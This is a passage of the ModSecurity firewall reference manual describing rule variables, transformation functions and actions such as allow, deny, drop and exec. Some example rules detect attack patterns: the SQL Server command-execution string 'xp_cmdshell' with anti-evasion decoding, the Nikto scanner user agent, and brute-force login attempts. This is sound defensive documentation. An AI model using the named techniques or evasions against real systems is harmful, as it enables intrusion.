<programlisting format="linespecific">SecRule<emphasis> SCRIPT_UID</emphasis> "!^46$"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This variable is not available in proxy mode.</para>
</section>
<section>
<title><literal moreinfo="none">SCRIPT_USERNAME</literal></title>
<para>This variable holds the username of the owner of the script.
Example:</para>
<programlisting format="linespecific">SecRule <emphasis>SCRIPT_USERNAME</emphasis> "!^apache$"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This variable is not available in proxy mode.</para>
</section>
<section>
<title><literal moreinfo="none">SERVER_ADDR</literal></title>
<para>This variable contains the IP address of the server.
Example:</para>
<programlisting format="linespecific">SecRule<emphasis> SERVER_ADDR</emphasis> "^192\.168\.1\.100$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">SERVER_NAME</literal></title>
<para>This variable contains the server's hostname or IP address.
Example:</para>
<programlisting format="linespecific">SecRule <emphasis>SERVER_NAME</emphasis> "hostname\.com$"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This data is taken from the Host header submitted in the client
request.</para>
</section>
<section>
<title><literal moreinfo="none">SERVER_PORT</literal></title>
<para>This variable contains the local port that the web server is
listening on. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>SERVER_PORT</emphasis> "^80$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">SESSION</literal></title>
<para>This variable is a collection, available only after <literal
moreinfo="none">setsid</literal> is executed. Example: the following
example shows how to initialize a SESSION collection with setsid, how to
use setvar to increase the session.score values, how to set the
session.blocked variable and finally how to deny the connection based on
the session:blocked value.</para>
<programlisting format="linespecific">SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass
SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}
SecRule REQUEST_URI "^/cgi-bin/finger$" "pass,log,setvar:<emphasis>session.score</emphasis>=+10"
SecRule<emphasis> SESSION:SCORE</emphasis> "@gt 50" "pass,log,setvar:<emphasis>session.blocked</emphasis>=1"
SecRule<emphasis> SESSION:BLOCKED</emphasis> "@eq 1" "log,deny,status:403"</programlisting>
</section>
<section>
<title><literal moreinfo="none">SESSIONID</literal></title>
<para>This variable is the value set with <literal
moreinfo="none">setsid</literal>. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>SESSIONID</emphasis> !^$ chain,nolog,pass
SecRule REQUEST_COOKIES:PHPSESSID !^$
SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}</programlisting>
</section>
<section>
<title><literal moreinfo="none">TIME</literal></title>
<para>This variable holds a formatted string representing the time
(hour:minute:second). Example:</para>
<programlisting format="linespecific">SecRule<emphasis> TIME</emphasis> "^(([1](8|9))|([2](0|1|2|3))):\d{2}:\d{2}$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">TIME_DAY</literal></title>
<para>This variable holds the current date (1-31). Example: this rule
would trigger anytime between the 10th and 20th days of the
month.</para>
<programlisting format="linespecific">SecRule <emphasis>TIME_DAY</emphasis> "^(([1](0|1|2|3|4|5|6|7|8|9))|20)$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">TIME_EPOCH</literal></title>
<para>This variable holds the time in seconds since 1970.
Example:</para>
<programlisting format="linespecific">SecRule <emphasis>TIME_EPOCH</emphasis> "@gt 1000"</programlisting>
</section>
<section>
<title><literal moreinfo="none">TIME_HOUR</literal></title>
<para>This variable holds the current hour (0-23). Example: this rule
would trigger during "off hours".</para>
<programlisting format="linespecific">SecRule<emphasis> TIME_HOUR</emphasis> "^(0|1|2|3|4|5|6|[1](8|9)|[2](0|1|2|3))$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">TIME_MIN</literal></title>
<para>This variable holds the current minute (0-59). Example: this rule
would trigger during the last half hour of every hour.</para>
<programlisting format="linespecific">SecRule <emphasis>TIME_MIN</emphasis> "^(3|4|5)"</programlisting>
</section>
<section>
<title><literal moreinfo="none">TIME_MON</literal></title>
<para>This variable holds the current month (0-11). Example: this rule
would match if the month was either November (10) or December
(11).</para>
<programlisting format="linespecific">SecRule<emphasis> TIME_MON</emphasis> "^1"</programlisting>
</section>
<section>
<title><literal moreinfo="none">TIME_SEC</literal></title>
<para>This variable holds the current second count (0-59).
Example:</para>
<programlisting format="linespecific">SecRule <emphasis>TIME_SEC</emphasis> "@gt 30"</programlisting>
</section>
<section>
<title><literal moreinfo="none">TIME_WDAY</literal></title>
<para>This variable holds the current weekday (0-6). Example: this rule
would trigger only on week-ends (Saturday and Sunday).</para>
<programlisting format="linespecific">SecRule <emphasis>TIME_WDAY</emphasis> "^(0|6)$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">TIME_YEAR</literal></title>
<para>This variable holds the current four-digit year data.
Example:</para>
<programlisting format="linespecific">SecRule <emphasis>TIME_YEAR</emphasis> "^2006$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">TX</literal></title>
<para>Transaction Collection. This is used to store pieces of data,
create a transaction anomaly score, and so on. Transaction variables are
set for 1 request/response cycle. The scoring and evaluation will not
last past the current request/response process. Example: In this
example, we are using setvar to increase the tx.score value by 5 points.
We then have a follow-up run that will evaluate the transactional score
this request and then it will decided whether or not to allow/deny the
request through.</para>
<para>The following is a list of reserved names in the TX
collection:</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">TX:0</literal> - The matching value
when using the <literal moreinfo="none">@rx</literal> or <literal
moreinfo="none">@pm</literal> operator with the <literal
moreinfo="none">capture</literal> action.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">TX:1-TX:9</literal> - The captured
subexpression value when using the <literal
moreinfo="none">@rx</literal> operator with capturing parens and the
<literal moreinfo="none">capture</literal> action.</para>
</listitem>
</itemizedlist>
<programlisting format="linespecific">SecRule WEBSERVER_ERROR_LOG "does not exist" "phase:5,pass,<emphasis>setvar:tx.score=+5</emphasis>"
SecRule<emphasis> TX:SCORE</emphasis> "@gt 20" deny,log</programlisting>
</section>
<section>
<title><literal moreinfo="none">USERID</literal></title>
<para>This variable is the value set with <literal
moreinfo="none">setuid</literal>. Example:</para>
<programlisting format="linespecific">SecAction setuid:%{REMOTE_USER},nolog
SecRule<emphasis> USERID</emphasis> "Admin"</programlisting>
</section>
<section>
<title><literal moreinfo="none">WEBAPPID</literal></title>
<para>This variable is the value set with <literal
moreinfo="none">SecWebAppId</literal>. Example:</para>
<programlisting format="linespecific">SecWebAppId "WebApp1"
SecRule<emphasis> WEBAPPID</emphasis> "WebApp1" "chain,log,deny,status:403"
SecRule REQUEST_HEADERS:Transfer-Encoding "!^$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">WEBSERVER_ERROR_LOG</literal></title>
<para>Contains zero or more error messages produced by the web server.
Access to this variable is in phase:5 (logging). Example:</para>
<programlisting format="linespecific">SecRule<emphasis> WEBSERVER_ERROR_LOG</emphasis> "File does not exist" "phase:5,setvar:tx.score=+5"</programlisting>
</section>
<section>
<title><literal moreinfo="none">XML</literal></title>
<para>Can be used standalone (as a target for validateDTD and
validateSchema) or with an XPath expression parameter (which makes it a
valid target for any function that accepts plain text). Example using
XPath:</para>
<programlisting format="linespecific">SecDefaultAction log,deny,status:403,phase:2
SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \
phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=<emphasis>XML</emphasis>
SecRule REQBODY_PROCESSOR "<emphasis>!^XML$</emphasis>" skipAfter:12345
SecRule <emphasis>XML:/employees/employee/name/text()</emphasis> Fred
SecRule <emphasis>XML:/xq:employees/employee/name/text()</emphasis> Fred \
id:12345,xmlns:xq=http://www.example.com/employees</programlisting>
<para>The first XPath expression does not use namespaces. It would match
against payload such as this one:</para>
<programlisting>&lt;employees&gt;
&lt;employee&gt;
&lt;name&gt;Fred Jones&lt;/name&gt;
&lt;address location="home"&gt;
&lt;street&gt;900 Aurora Ave.&lt;/street&gt;
&lt;city&gt;Seattle&lt;/city&gt;
&lt;state&gt;WA&lt;/state&gt;
&lt;zip&gt;98115&lt;/zip&gt;
&lt;/address&gt;
&lt;address location="work"&gt;
&lt;street&gt;2011 152nd Avenue NE&lt;/street&gt;
&lt;city&gt;Redmond&lt;/city&gt;
&lt;state&gt;WA&lt;/state&gt;
&lt;zip&gt;98052&lt;/zip&gt;
&lt;/address&gt;
&lt;phone location="work"&gt;(425)555-5665&lt;/phone&gt;
&lt;phone location="home"&gt;(206)555-5555&lt;/phone&gt;
&lt;phone location="mobile"&gt;(206)555-4321&lt;/phone&gt;
&lt;/employee&gt;
&lt;/employees&gt;</programlisting>
<para>The second XPath expression does use namespaces. It would match
the following payload:</para>
<programlisting>&lt;xq:employees xmlns:xq="http://www.example.com/employees"&gt;
&lt;employee&gt;
&lt;name&gt;Fred Jones&lt;/name&gt;
&lt;address location="home"&gt;
&lt;street&gt;900 Aurora Ave.&lt;/street&gt;
&lt;city&gt;Seattle&lt;/city&gt;
&lt;state&gt;WA&lt;/state&gt;
&lt;zip&gt;98115&lt;/zip&gt;
&lt;/address&gt;
&lt;address location="work"&gt;
&lt;street&gt;2011 152nd Avenue NE&lt;/street&gt;
&lt;city&gt;Redmond&lt;/city&gt;
&lt;state&gt;WA&lt;/state&gt;
&lt;zip&gt;98052&lt;/zip&gt;
&lt;/address&gt;
&lt;phone location="work"&gt;(425)555-5665&lt;/phone&gt;
&lt;phone location="home"&gt;(206)555-5555&lt;/phone&gt;
&lt;phone location="mobile"&gt;(206)555-4321&lt;/phone&gt;
&lt;/employee&gt;
&lt;/xq:employees&gt;</programlisting>
<para>Note the different namespace used in the second example.</para>
<para>To learn more about XPath we suggest the following
resources:</para>
<orderedlist>
<listitem>
<para><ulink url="http://www.w3.org/TR/xpath">XPath
Standard</ulink></para>
</listitem>
<listitem>
<para><ulink
url="http://www.zvon.org/xxl/XPathTutorial/General/examples.html">XPath
Tutorial</ulink></para>
</listitem>
</orderedlist>
</section>
</section>
<section id="06-transformation-functions">
<title>Transformation functions</title>
<para>When ModSecurity receives request or response information, it makes
a copy of this data and places it into memory. It is on this data in
memory that transformation functions are applied. The raw request/response
data is never altered. Transformation functions are used to transform a
variable before testing it in a rule.</para>
<para><emphasis>Note</emphasis></para>
<para>There are no default transformation functions as there were in
previous versions of ModSecurity.</para>
<para>The following rule will ensure that an attacker does not use mixed
case in order to evade the ModSecurity rule:</para>
<para><programlisting format="linespecific">SecRule ARG:p "xp_cmdshell" <emphasis>"t:lowercase"</emphasis></programlisting>
multiple transformation actions can be used in the same rule, for example
the following rule also ensures that an attacker does not use URL encoding
(%xx encoding) for evasion. Note the order of the transformation
functions, which ensures that a URL encoded letter is first decoded and
than translated to lower case.</para>
<para><programlisting format="linespecific">SecRule ARG:p "xp_cmdshell" <emphasis>"t:urlDecode,t:lowercase"</emphasis></programlisting></para>
<para>One can use the SecDefaultAction command to ensure the translation
occurs for every rule until the next. Note that transformation actions are
additive, so if a rule explicitly list actions, the translation actions
set by SecDefaultAction are still performed.</para>
<para><programlisting format="linespecific">SecDefaultAction <emphasis>t:urlDecode,t:lowercase</emphasis></programlisting></para>
<para>The following transformation functions are supported:</para>
<section>
<title><literal>base64Decode</literal></title>
<para>This function decodes a base64-encoded string.</para>
</section>
<section>
<title><literal>base64Encode</literal></title>
<para>This function encodes input string using base64 encoding.</para>
</section>
<section>
<title><literal>compressWhitespace</literal></title>
<para>This function is enabled by default. It converts whitespace
characters (32, \f, \t, \n, \r, \v, 160) to spaces (ASCII 32) and then
compresses multiple space characters into only one.</para>
</section>
<section>
<title><literal>escapeSeqDecode</literal></title>
<para>This function decode ANSI C escape sequences:<literal
moreinfo="none"> \a</literal>,<literal moreinfo="none"> \b</literal>,
<literal moreinfo="none">\f</literal>, <literal
moreinfo="none">\n</literal>, <literal moreinfo="none">\r</literal>,
<literal moreinfo="none">\t</literal>, <literal
moreinfo="none">\v</literal>, <literal moreinfo="none">\\</literal>,
<literal moreinfo="none">\?</literal>, <literal
moreinfo="none">\'</literal>, <literal moreinfo="none">\"</literal>,
<literal moreinfo="none">\xHH</literal> (hexadecimal), <literal
moreinfo="none">\0OOO</literal> (octal). Invalid encodings are left in
the output.</para>
</section>
<section>
<title><literal>hexDecode</literal></title>
<para>This function decodes a hex-encoded string.</para>
</section>
<section>
<title><literal>hexEncode</literal></title>
<para>This function encodes input as hex-encoded string.</para>
</section>
<section>
<title><literal>htmlEntityDecode</literal></title>
<para>This function decodes HTML entities present in input. The
following variants are supported:</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">&amp;#xHH</literal> and <literal
moreinfo="none">&amp;#xHH;</literal> (where H is any hexadecimal
number)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">&amp;#DDD</literal> and <literal
moreinfo="none">&amp;#DDD;</literal> (where D is any decimal
number)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">&amp;quot</literal> and <literal
moreinfo="none">&amp;quot;</literal></para>
</listitem>
<listitem>
<para><literal moreinfo="none">&amp;nbsp</literal> and <literal
moreinfo="none">&amp;nbsp;</literal></para>
</listitem>
<listitem>
<para><literal moreinfo="none">&amp;lt</literal> and <literal
moreinfo="none">&amp;lt;</literal></para>
</listitem>
<listitem>
<para><literal moreinfo="none">&amp;gt</literal> and <literal
moreinfo="none">&amp;gt;</literal></para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>jsDecode</literal></title>
<para>Decodes JavaScript escape sequences. If a \uHHHH code is in the
range of FF01-FF5E (the full width ASCII codes), then the higher byte is
used to detect and adjust the lower byte. Otherwise, only the lower byte
will be used and the higher byte zeroed.</para>
</section>
<section>
<title><literal>length</literal></title>
<para>This function converts the input to its numeric length (count of
characters).</para>
</section>
<section>
<title><literal>lowercase</literal></title>
<para>This function is enabled by default. It converts all characters to
lowercase using the current C locale.</para>
</section>
<section>
<title><literal>md5</literal></title>
<para>This function calculates an MD5 hash from input. Note that the
computed hash is in a raw binary form and may need encoded to be usable
(EX: t:md5,t:hexEncode).</para>
</section>
<section>
<title><literal><literal>none</literal></literal></title>
<para>This not an actual transformation function but an instruction to
ModSecurity to remove all transformation functions associated with the
current rule and start from scratch.</para>
</section>
<section>
<title><literal>normalisePath</literal></title>
<para>This function will remove multiple slashes, self-references and
directory back-references (except when they are at the beginning of the
path).</para>
</section>
<section>
<title><literal>normalisePathWin</literal></title>
<para>Same as normalisePath, but will first convert backslash characters
to forward slashes.</para>
</section>
<section>
<title><literal>removeNulls</literal></title>
<para>This function removes NULL bytes from input.</para>
</section>
<section>
<title><literal>removeWhitespace</literal></title>
<para>This function removes all whitespace characters.</para>
</section>
<section>
<title><literal>replaceComments</literal></title>
<para>This function replaces each occurrence of a C-style comments
(<literal moreinfo="none">/* ... */</literal>) with a single space
(multiple consecutive occurrences of a space will not be compressed).
Unterminated comments will too be replaced with a space (ASCII 32).
However, a standalone termination of a comment (<literal
moreinfo="none">*/</literal>) will not be acted upon.</para>
</section>
<section>
<title><literal>replaceNulls</literal></title>
<para>This function is enabled by default. It replaces NULL bytes in
input with spaces (ASCII 32).</para>
</section>
<section>
<title><literal>urlDecode</literal></title>
<para>This function decodes an URL-encoded input string. Invalid
encodings (i.e. the ones that use non-hexadecimal characters, or the
ones that are at the end of string and have one or two characters
missing) will not be converted. If you want to detect invalid encodings
use the <literal moreinfo="none">@validateUrlEncoding</literal>
operator. The transformation function should not be used against
variables that have already been URL-decoded unless it is your intention
to perform URL decoding twice!</para>
</section>
<section>
<title><literal>urlDecodeUni</literal></title>
<para>In addition to decoding %xx like <literal
moreinfo="none">urlDecode, urlDecodeUni</literal> also decodes <literal
moreinfo="none">%uXXXX</literal> encoding. If the code is in the range
of FF01-FF5E (the full width ASCII codes), then the higher byte is used
to detect and adjust the lower byte. Otherwise, only the lower byte will
be used and the higher byte zeroed.</para>
</section>
<section>
<title><literal>urlEncode</literal></title>
<para>This function encodes input using URL encoding.</para>
</section>
<section>
<title><literal>sha1</literal></title>
<para>This function calculates a SHA1 hash from input. Note that the
computed hash is in a raw binary form and may need encoded to be usable
(EX: t:sha1,t:hexEncode).</para>
</section>
<section>
<title><literal>trimLeft</literal></title>
<para>This function removes whitespace from the left side of
input.</para>
</section>
<section>
<title><literal>trimRight</literal></title>
<para>This function removes whitespace from the right side of
input.</para>
</section>
<section>
<title><literal>trim</literal></title>
<para>This function removes whitespace from both the left and right
sides of input.</para>
</section>
</section>
<section id="07-actions">
<title>Actions</title>
<para>Each action belongs to one of five groups:</para>
<orderedlist continuation="restarts" inheritnum="ignore">
<listitem>
<para><emphasis>Disruptive actions</emphasis> - are those actions
where ModSecurity will intercept the data. They can only appear in the
first rule in a chain.</para>
</listitem>
<listitem>
<para><emphasis>Non-disruptive actions</emphasis> - can appear
anywhere.</para>
</listitem>
<listitem>
<para><emphasis>Flow actions</emphasis> - can appear only in the first
rule in a chain.</para>
</listitem>
<listitem>
<para><emphasis>Meta-data actions</emphasis>(<literal
moreinfo="none">id</literal>,<literal moreinfo="none">
rev</literal>,<literal moreinfo="none"> severity</literal>,<literal
moreinfo="none"> msg</literal>) - can only appear in the first rule in
a chain.</para>
</listitem>
<listitem>
<para><emphasis>Data actions</emphasis> - can appear anywhere; these
actions are completely passive and only serve to carry data used by
other actions.</para>
</listitem>
</orderedlist>
<section>
<title><literal>allow</literal></title>
<para><emphasis>Description:</emphasis> Stops rule processing on a
successful match and allows the transaction to proceed.</para>
<para><emphasis>Action Group:</emphasis> Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REMOTE_ADDR "^192\.168\.1\.100$" nolog,phase:1,<emphasis>allow</emphasis></programlisting>
<para>Prior to ModSecurity 2.5 the <literal>allow</literal> action would
only affect the current phase. An <literal>allow</literal> in phase 1
would skip processing the remaining rules in phase 1 but the rules from
phase 2 would execute. Starting with v2.5 <literal>allow</literal> was
enhanced to allow for fine-grained control of what is done. The
following rules now apply:</para>
<orderedlist>
<listitem>
<para>If used one its own, like in the example above,
<literal>allow</literal> will affect the entire transaction,
stopping processing of the current phase but also skipping over all
other phases apart from the logging phase. (The logging phase is
special; it is designed to always execute.)</para>
</listitem>
<listitem>
<para>If used with parameter "phase", <literal>allow</literal> will
cause the engine to stop processing the current phase. Other phases
will continue as normal.</para>
</listitem>
<listitem>
<para>If used with parameter "request", <literal>allow</literal>
will cause the engine to stop processing the current phase. The next
phase to be processed will be phase
<literal>RESPONSE_HEADERS</literal>.</para>
</listitem>
</orderedlist>
<para>Examples:</para>
<programlisting># Do not process request but process response.
SecAction phase:1,allow:request
# Do not process transaction (request and response).
SecAction phase:1,allow
</programlisting>
<para>If you want to allow a response through, put a rule in phase
<literal>RESPONSE_HEADERS</literal> and simply use
<literal>allow</literal> on its own:</para>
<programlisting># Allow response through.
SecAction phase:3,allow</programlisting>
</section>
<section>
<title>append</title>
<para><emphasis>Description:</emphasis> Appends text given as parameter
to the end of response body. For this action to work content injection
must be enabled by setting <literal>SecContentInjection</literal> to
<literal>On</literal>. Also make sure you check the content type of the
response before you make changes to it (e.g. you don't want to inject
stuff into images).</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para><emphasis>Processing Phases:</emphasis> 3 and 4.</para>
<para>Example:</para>
<programlisting>SecRule RESPONSE_CONTENT_TYPE "^text/html" "nolog,pass,<emphasis>append:'&lt;hr&gt;Footer'</emphasis>"</programlisting>
</section>
<section>
<title><literal>auditlog</literal></title>
<para><emphasis>Description:</emphasis> Marks the transaction for
logging in the audit log.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REMOTE_ADDR "^192\.168\.1\.100$" <emphasis>auditlog</emphasis>,phase:1,allow</programlisting>
<para><emphasis>Note</emphasis></para>
<para>The auditlog action is now explicit if log is already
specified.</para>
</section>
<section>
<title><literal>block</literal></title>
<para><emphasis>Description:</emphasis> Performs the default disruptive
action.</para>
<para><emphasis>Action Group:</emphasis> Disruptive</para>
<para>It is intended to be used by ruleset writers to signify that the
rule was intended to block and leaves the "how" up to the administrator.
This action is currently a placeholder which will just be replaced by
the action from the last <literal>SecDefaultAction</literal> in the same
context. Using the <literal>block</literal> action with the
<literal>SecRuleUpdateActionById</literal> directive allows a rule to be
reverted back to the previous <literal>SecDefaultAction</literal>
disruptive action.</para>
<para>In future versions of ModSecurity, more control and functionality
will be added to define "how" to block.</para>
<para>Examples:</para>
<para>In the following example, the second rule will "deny" because of
the SecDefaultAction disruptive action. The intent being that the
administrator could easily change this to another disruptive action
without editing the actual rules.</para>
<programlisting format="linespecific">### Administrator defines "how" to block (deny,status:403)...
SecDefaultAction phase:2,deny,status:403,log,auditlog
### Included from a rulest...
# Intent is to warn for this User Agent
SecRule REQUEST_HEADERS:User-Agent "perl" "phase:2,<emphasis>pass</emphasis>,msg:'Perl based user agent identified'"
# Intent is to block for this User Agent, "how" described in SecDefaultAction
SecRule REQUEST_HEADERS:User-Agent "nikto" "phase:2,<emphasis>block</emphasis>,msg:'Nikto Scanners Identified'"</programlisting>
<para>In the following example, The rule is reverted back to the
<literal>pass</literal> action defined in the SecDefaultAction directive
by using the <literal>SecRuleUpdateActionById</literal> directive in
conjuction with the <literal>block</literal> action. This allows an
administrator to override an action in a 3rd party rule without
modifying the rule itself.</para>
<programlisting format="linespecific">### Administrator defines "how" to block (deny,status:403)...
SecDefaultAction phase:2,pass,log,auditlog
### Included from a rulest...
SecRule REQUEST_HEADERS:User-Agent "nikto" "id:1,phase:2,<emphasis>deny</emphasis>,msg:'Nikto Scanners Identified'"
### Added by the administrator
SecRuleUpdateActionById 1 "<emphasis>block</emphasis>"</programlisting>
</section>
<section>
<title><literal>capture</literal></title>
<para><emphasis>Description:</emphasis> When used together with the
regular expression operator, capture action will create copies of
regular expression captures and place them into the transaction variable
collection. Up to ten captures will be copied on a successful pattern
match, each with a name consisting of a digit from 0 to 9.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_BODY "^username=(\w{25,})" phase:2,<emphasis>capture</emphasis>,t:none,chain
SecRule TX:1 "(?:(?:a(dmin|nonymous)))"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>The 0 data captures the entire REGEX match and 1 captures the data
in the first parens, etc...</para>
</section>
<section>
<title><literal>chain</literal></title>
<para><emphasis>Description:</emphasis> Chains the rule where the action
is placed with the rule that immediately follows it. The result is
called a<emphasis> rule chain</emphasis>. Chained rules allow for more
complex rule matches where you want to use a number of different
VARIABLES to create a better rule and to help prevent false
positives.</para>
<para><emphasis>Action Group:</emphasis> Flow</para>
<para>Example:</para>
<programlisting format="linespecific"># Refuse to accept POST requests that do
# not specify request body length
SecRule REQUEST_METHOD ^POST$<emphasis> chain</emphasis>
SecRule REQUEST_HEADER:Content-Length ^$</programlisting>
<para><emphasis>Note</emphasis></para>
<para>In programming language concepts, think of chained rules somewhat
similar to AND conditional statements. The actions specified in the
first portion of the chained rule will only be triggered if all of the
variable checks return positive hits. If one aspect of the chained rule
is negative, then the entire rule chain is negative. Also note that
disruptive actions, execution phases, metadata actions (id, rev, msg),
skip and skipAfter actions can only be specified on by the chain starter
rule.</para>
</section>
<section>
<title><literal>ctl</literal></title>
<para><emphasis>Description:</emphasis> The ctl action allows
configuration options to be updated for the transaction.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific"># Parse requests with Content-Type "text/xml" as XML
SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,<emphasis>ctl:requestBodyProcessor=XML</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>The following configuration options are supported:</para>
<orderedlist continuation="restarts" inheritnum="ignore">
<listitem>
<para><literal moreinfo="none">auditEngine</literal></para>
</listitem>
<listitem>
<para><literal moreinfo="none">auditLogParts</literal></para>
</listitem>
<listitem>
<para><literal moreinfo="none">debugLogLevel</literal></para>
</listitem>
<listitem>
<para><literal moreinfo="none">ruleRemoveById</literal> (single rule
ID, or a single rule ID range accepted as parameter)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">requestBodyAccess</literal></para>
</listitem>
<listitem>
<para><literal moreinfo="none">requestBodyLimit</literal></para>
</listitem>
<listitem>
<para><literal moreinfo="none">requestBodyProcessor</literal></para>
</listitem>
<listitem>
<para><literal moreinfo="none">responseBodyAccess</literal></para>
</listitem>
<listitem>
<para><literal moreinfo="none">responseBodyLimit</literal></para>
</listitem>
<listitem>
<para><literal moreinfo="none">ruleEngine</literal></para>
</listitem>
</orderedlist>
<para>With the exception of<literal moreinfo="none">
requestBodyProcessor</literal>, each configuration option corresponds to
one configuration directive and the usage is identical.</para>
<para>The requestBodyProcessor option allows you to configure the
request body processor. By default ModSecurity will use the <literal
moreinfo="none">URLENCODED</literal> and<literal moreinfo="none">
MULTIPART</literal> processors to process an <literal
moreinfo="none">application/x-www-form-urlencoded</literal> and a
<literal moreinfo="none">multipart/form-data</literal> body,
respectively. A third processor, XML, is also supported, but it is never
used implicitly. Instead you must tell ModSecurity to use it by placing
a few rules in the<literal moreinfo="none"> REQUEST_HEADERS</literal>
processing phase. After the request body was processed as XML you will
be able to use the XML-related features to inspect it.</para>
<para>Request body processors will not interrupt a transaction if an
error occurs during parsing. Instead they will set variables<literal
moreinfo="none"> REQBODY_PROCESSOR_ERROR</literal> and<literal
moreinfo="none"> REQBODY_PROCESSOR_ERROR_MSG</literal>. These variables
should be inspected in the <literal
moreinfo="none">REQUEST_BODY</literal> phase and an appropriate action
taken.</para>
</section>
<section>
<title><literal>deny</literal></title>
<para><emphasis>Description:</emphasis> Stops rule processing and
intercepts transaction.</para>
<para><emphasis>Action Group:</emphasis> Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "nikto" "log,<emphasis>deny</emphasis>,msg:'Nikto Scanners Identified'"</programlisting>
</section>
<section>
<title><literal>deprecatevar</literal></title>
<para><emphasis>Description:</emphasis> Decrement counter based on its
age.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example: The following example will decrement the counter by 60
every 300 seconds.</para>
<programlisting format="linespecific">SecAction deprecatevar:session.score=60/300</programlisting>
<para><emphasis>Note</emphasis></para>
<para>Counter values are always positive, meaning the value will never
go below zero.</para>
</section>
<section>
<title><literal>drop</literal></title>
<para><emphasis>Description:</emphasis> Immediately initiate a
"connection close" action to tear down the TCP connection by sending a
FIN packet.</para>
<para><emphasis>Action Group:</emphasis> Disruptive</para>
<para>Example: The following example initiates an IP collection for
tracking Basic Authentication attempts. If the client goes over the
threshold of more than 25 attempts in 2 minutes, it will DROP subsequent
connections.</para>
<programlisting format="linespecific">SecAction initcol:ip=%{REMOTE_ADDR},nolog
SecRule ARGS:login "!^$" \
nolog,phase:1,setvar:ip.auth_attempt=+1,deprecatevar:ip.auth_attempt=20/120
SecRule IP:AUTH_ATTEMPT "@gt 25" \
log,<emphasis>drop</emphasis>,phase:1,msg:'Possible Brute Force Attack"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This action is extremely useful when responding to both Brute
Force and Denial of Service attacks in that, in both cases, you want to
minimize both the network bandwidth and the data returned to the client.
This action causes error message to appear in the log "(9)Bad file
descriptor: core_output_filter: writing data to the network"</para>
</section>
<section>
<title><literal>exec</literal></title>
<para><emphasis>Description:</emphasis> Executes an external
script/binary supplied as parameter. As of v2.5, if the parameter
supplied to <literal>exec</literal> is a Lua script (detected by the
<filename>.lua</filename> extension) the script will be processed
<emphasis>internally</emphasis>. This means you will get direct access
to the internal request context from the script. Please read the
<literal>SecRuleScript</literal> documentation for more details on how
to write Lua scripts.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific"># The following is going to execute /usr/local/apache/bin/test.sh
# as a shell script on rule match.
SecRule REQUEST_URI "^/cgi-bin/script\.pl" \
"log,<emphasis>exec:/usr/local/apache/bin/test.sh</emphasis>"
# The following is going to process /usr/local/apache/conf/exec.lua
# internally as a Lua script on rule match.
SecRule ARGS:p attack log,<emphasis>exec:/usr/local/apache/conf/exec.lua</emphasis></programlisting>
<note>
<para>This directive does not effect a primary action if it exists.
This action will always call script with no parameters, but providing
all information in the environment. All the usual CGI environment
variables will be there. You can have one binary executed per filter
match. Execution will add the header mod_security-executed to the list
of request headers. You should be aware that forking a threaded
process results in all threads being replicated in the new process.
Forking can therefore incur larger overhead in multi-threaded
operation. The script you execute must write something (anything) to
stdout. If it doesn't ModSecurity will assume execution didn't
work.</para>
</note>
</section>
<section>
<title><literal>expirevar</literal></title>
<para><emphasis>Description:</emphasis> Configures a collection variable
to expire after the given time in seconds.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_COOKIES:JSESSIONID "!^$" nolog,phase:1,pass,chain
SecAction setsid:%{REQUEST_COOKIES:JSESSIONID}
SecRule REQUEST_URI "^/cgi-bin/script\.pl" \
"log,allow,setvar:session.suspicious=1,<emphasis>expirevar:session.suspicious=3600</emphasis>,phase:1"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>You should use expirevar actions at the same time that you use
setvar actions in order to keep the indented expiration time. If they
are used on their own (perhaps in a SecAction directive) the expire time
could get re-set. When variables are removed from collections, and there
are no other changes, collections are not written to disk at the end of
request. This is because the variables can always be expired again when
the collection is read again on a subsequent request.</para>
</section>
<section>
<title><literal>id</literal></title>
<para><emphasis>Description:</emphasis> Assigns a unique ID to the rule
or chain.</para>
<para><emphasis>Action Group:</emphasis> Metadata</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule &amp;REQUEST_HEADERS:Host "@eq 0" \
"log,<emphasis>id:60008</emphasis>,severity:2,msg:'Request Missing a Host Header'"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>These are the reserved ranges:</para>
